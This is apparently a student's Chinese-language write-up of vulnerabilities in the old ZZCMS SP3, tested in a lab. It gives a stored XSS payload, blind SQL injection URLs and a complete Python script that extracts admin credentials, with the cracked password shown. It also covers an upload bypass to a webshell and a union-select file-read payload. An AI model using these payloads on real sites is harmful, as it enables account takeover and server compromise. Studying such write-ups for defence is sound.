zzcms SP3 漏洞解析

zzcms SP3 漏洞解析


cms来源:
ZZCMS SP3
URL: www.zzcms.com
作者:壮壮


很老的cms版本,应该没人会用了吧,这里找找简单地漏洞(课程期末作业)

有使用seay扫描器扫描,但误报率高,只能简单的参考,实际还是得自己动手看代码(….)


1.xss储存型漏洞

范围:Book.php留言界面

测试后:
有轻微的参数过滤痕迹,但并不完全,还是能简单的在管理页面执行恶意xss代码

恶意代码js:

1
<IMG SRC="javascript:alert(1);" ONERROR="alert(1)">

留言界面:
xss储存型
管理界面:
xss储存型
没错,当管理员打开留言管理,会直接触发xss代码,虽然这里只是alert(1)的测试,
但如果是获取cookie的xss代码呢?没错,cookie可以直接登录到后台

2.变量存在异或盲注漏洞

范围:”文章中心”、”产品中心”、”关于我们”

测试:

1
2
3
Art_Show.php?id=0^(length(database())>=4)   //正常
Art_Show.php?id=0^(length(database())>=5) //报错
//数据库名字为4

脚本盲注就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time

url="http://192.168.241.188/zzcms/Art_Show.php?id="
name=''


for i in range(1,80):
print(i)
low=31
high=127
mid=(low+high)//2
while low<high:
payload = "0^(ascii(substr((select(database())),%d,1))>%d)" % (i, mid)
#payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)"%(i,mid)
#payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='zzcms_admin')),%d,1))>%d)"%(i,mid)
#payload = "0^(ascii(substr((select(group_concat(name,password,grade))from(zzcms_admin)),%d,1))>%d)"%(i,mid)

r = requests.get(url+payload)
print(payload)
if 'cyber' in r.text: #cyber为文章内容,一旦正常返回,则字符爆破正确
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==32):
break
name=name+chr(mid)
print (name)
  1. 爆出所使用数据库为:test
  2. 爆出所有的表名为:zzcms_about,zzcms_access,zzcms_admin,
    zzcms_article,zzcms_book,zzcms_botlist,zzc....(脚本在多循环几次,就全部出来了,这里循环了80次)
  3. 你说我对哪张表感兴趣,当然是用户表:zzcms_admin
    爆出的zzcms_admin字段有:id,uid,name,password,grade
  4. 只提取可能有价值的字段值
    爆出的name,password,grade值为:admin,441de0cf505e227b6eb49446d5a69269,1
    MD5加密可不是好习惯,没错,账号admin,密码passwordzzcms,等级1

盲注

PS:这里的密码是md5(密码+zzcms),登录时admin和password就能登录

3.后台管理存在文件上传漏洞

范围:管理后台能文件上传的地方

虽然这是拿到后台才能有的操作,但可以是getshell的关键
这个漏洞过于简单,图片马上传抓包改后缀就行
upload_1
访问http://192.168.241.188/zzcms/upload/2021-12-14/1639493237.php确认存在且能解析
upload_2
蚁剑连接,直接getshell
getshell

4.任意文件读取(sql注入的任意文件读取)

范围:”软件下载”

“软件下载”界面通过downfile.php?id=来寻找文件,并将找到的文件内容复制下来给客户端
downfile.php代码审计:
代码审计

payload:

1
downfile.php?id=-1 union select 'index.php'

没错,直接下载根目录下的index.php,甚至其他路径的文件也能读取
任意文件读取

5.fck编辑器2.6.4.1(感觉都是漏洞,总之先鸽了)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!